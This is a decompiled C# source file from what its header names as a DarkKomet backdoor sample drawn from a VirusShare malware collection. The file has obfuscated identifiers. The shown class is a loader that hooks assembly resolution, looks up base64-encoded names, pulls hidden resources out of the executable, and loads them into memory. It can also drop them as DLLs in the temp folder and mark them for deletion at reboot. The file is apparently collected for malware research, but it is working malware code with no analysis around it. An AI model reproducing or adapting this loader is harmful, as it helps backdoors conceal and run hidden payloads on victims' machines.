// Decompiled with JetBrains decompiler
// Type: .2
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0008;
using \u0012;
using \u007F\u0004;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace \u0008
{
  internal class \u00082
  {
    private static Hashtable \u0001;

    [DllImport("kernel32", EntryPoint = "MoveFileEx")]
    private static extern bool \u0006\u0002([In] string obj0, [In] string obj1, [In] int obj2);

    internal static void \u0006\u0002()
    {
      try
      {
        try
        {
          AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u00082.\u0006\u0002);
        }
        catch
        {
        }
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }

    internal static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1)
    {
      \u00082.\u0008 obj;
      string s;
      string base64String;
      char[] chArray;
      string[] strArray;
      string str1;
      bool flag1;
      bool flag2;
      int index1;
      int index2;
      int num;
      string str2;
      Hashtable hashtable;
      Assembly assembly1;
      Stream manifestResourceStream;
      int length;
      byte[] numArray;
      Assembly assembly2;
      string path1;
      string path2;
      FileStream fileStream;
      try
      {
        obj = new \u00082.\u0008(obj1.Name);
        s = obj.\u0006\u0002(false);
        base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
        chArray = new char[1]{ ',' };
        strArray = "ezE0ZWUxOWU0LTIxOTMtNDNhNC1hNWJiLTg0MDA4Nzc4ZWE1Zn0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{14ee19e4-2193-43a4-a5bb-84008778ea5f},ezNiNWIwMjY2LTcwMDUtNDU5MC04NTI5LTk4MjdmZjUxZWZiMX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3b5b0266-7005-4590-8529-9827ff51efb1}".Split(chArray);
        str1 = string.Empty;
        flag1 = false;
        flag2 = false;
        for (index1 = 0; index1 < strArray.Length - 1; index1 += 2)
        {
          if (strArray[index1] == base64String)
          {
            str1 = strArray[index1 + 1];
            break;
          }
        }
        if (str1.Length == 0 && obj.\u0004.Length == 0)
        {
          base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
          for (index2 = 0; index2 < strArray.Length - 1; index2 += 2)
          {
            if (strArray[index2] == base64String)
            {
              str1 = strArray[index2 + 1];
              break;
            }
          }
        }
        if (str1.Length > 0)
        {
          if (str1[0] == '[')
          {
            num = str1.IndexOf(']');
            str2 = str1.Substring(1, num - 1);
            flag1 = str2.IndexOf('z') >= 0;
            flag2 = str2.IndexOf('t') >= 0;
            str1 = str1.Substring(num + 1);
          }
          Monitor.Enter((object) (hashtable = \u00082.\u0001));
          try
          {
            if (\u00082.\u0001.ContainsKey((object) str1))
            {
              assembly1 = (Assembly) \u00082.\u0001[(object) str1];
            }
            else
            {
              manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
              if (manifestResourceStream != null)
              {
                length = (int) manifestResourceStream.Length;
                numArray = new byte[length];
                manifestResourceStream.Read(numArray, 0, length);
                if (flag1)
                  numArray = \u0014.\u0010\u0002(numArray);
                assembly2 = (Assembly) null;
                if (!flag2)
                {
                  try
                  {
                    assembly2 = Assembly.Load(numArray);
                  }
                  catch (FileLoadException ex)
                  {
                    flag2 = true;
                  }
                  catch (BadImageFormatException ex)
                  {
                    flag2 = true;
                  }
                }
                if (flag2)
                {
                  try
                  {
                    path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1);
                    Directory.CreateDirectory(path1);
                    path2 = path1 + obj.\u0001 + ".dll";
                    if (!File.Exists(path2))
                    {
                      fileStream = File.OpenWrite(path2);
                      fileStream.Write(numArray, 0, numArray.Length);
                      fileStream.Close();
                      \u00082.\u0006\u0002(path2, (string) null, 4);
                      \u00082.\u0006\u0002(path1, (string) null, 4);
                    }
                    assembly2 = Assembly.LoadFile(path2);
                  }
                  catch
                  {
                  }
                }
                \u00082.\u0001[(object) str1] = (object) assembly2;
                assembly1 = assembly2;
              }
              else
                goto label_31;
            }
          }
          finally
          {
            Monitor.Exit((object) hashtable);
          }
          return assembly1;
        }
label_31:
        return (Assembly) null;
      }
      catch (Exception ex)
      {
        object[] objArray = new object[23]
        {
          (object) obj,
          (object) s,
          (object) base64String,
          (object) strArray,
          (object) str1,
          (object) flag1,
          (object) flag2,
          (object) index1,
          (object) index2,
          (object) num,
          (object) str2,
          (object) manifestResourceStream,
          (object) length,
          (object) numArray,
          (object) assembly2,
          (object) path1,
          (object) path2,
          (object) fileStream,
          (object) assembly1,
          (object) chArray,
          (object) hashtable,
          obj0,
          (object) obj1
        };
        \u0089\u0004.\u0081\u0005(ex, objArray);
        throw;
      }
    }

    public \u00082()
    {
      try
      {
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0018\u0005(ex, (object) this);
        throw;
      }
    }

    static \u00082()
    {
      try
      {
        \u00082.\u0001 = new Hashtable();
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }

    internal struct \u0008
    {
      public string \u0001;
      public Version \u0002;
      public string \u0003;
      public string \u0004;

      public string \u0006\u0002([In] bool obj0)
      {
        StringBuilder stringBuilder1;
        try
        {
          stringBuilder1 = new StringBuilder();
          stringBuilder1.Append(this.\u0001);
          if (obj0 && this.\u0002 != (Version) null)
          {
            stringBuilder1.Append(", Version=");
            stringBuilder1.Append((object) this.\u0002);
          }
          stringBuilder1.Append(", Culture=");
          stringBuilder1.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003);
          stringBuilder1.Append(", PublicKeyToken=");
          stringBuilder1.Append(this.\u0004.Length == 0 ? "null" : this.\u0004);
          return stringBuilder1.ToString();
        }
        catch (Exception ex)
        {
          StringBuilder stringBuilder2 = stringBuilder1;
          // ISSUE: variable of a boxed type
          __Boxed<\u00082.\u0008> local1 = (ValueType) this;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) stringBuilder2, (object) local1, (object) local2);
          throw;
        }
      }

      public \u0008([In] string obj0)
      {
        char[] chArray1;
        string[] strArray1;
        int index;
        string str1;
        string str2;
        try
        {
          this.\u0002 = (Version) null;
          this.\u0003 = string.Empty;
          this.\u0004 = string.Empty;
          this.\u0001 = string.Empty;
          string str3 = obj0;
          chArray1 = new char[1]{ ',' };
          char[] chArray2 = chArray1;
          strArray1 = str3.Split(chArray2);
          for (index = 0; index < strArray1.Length; ++index)
          {
            str1 = strArray1[index];
            str2 = str1.Trim();
            if (str2.StartsWith("Version="))
              this.\u0002 = new Version(str2.Substring(8));
            else if (str2.StartsWith("Culture="))
            {
              this.\u0003 = str2.Substring(8);
              if (this.\u0003 == "neutral")
                this.\u0003 = string.Empty;
            }
            else if (str2.StartsWith("PublicKeyToken="))
            {
              this.\u0004 = str2.Substring(15);
              if (this.\u0004 == "null")
                this.\u0004 = string.Empty;
            }
            else
              this.\u0001 = str2;
          }
        }
        catch (Exception ex)
        {
          string str4 = str1;
          string str5 = str2;
          char[] chArray3 = chArray1;
          string[] strArray2 = strArray1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<\u00082.\u0008> local2 = (ValueType) this;
          string str6 = obj0;
          \u0089\u0004.\u001E\u0005(ex, (object) str4, (object) str5, (object) chArray3, (object) strArray2, (object) local1, (object) local2, (object) str6);
          throw;
        }
      }
    }
  }
}
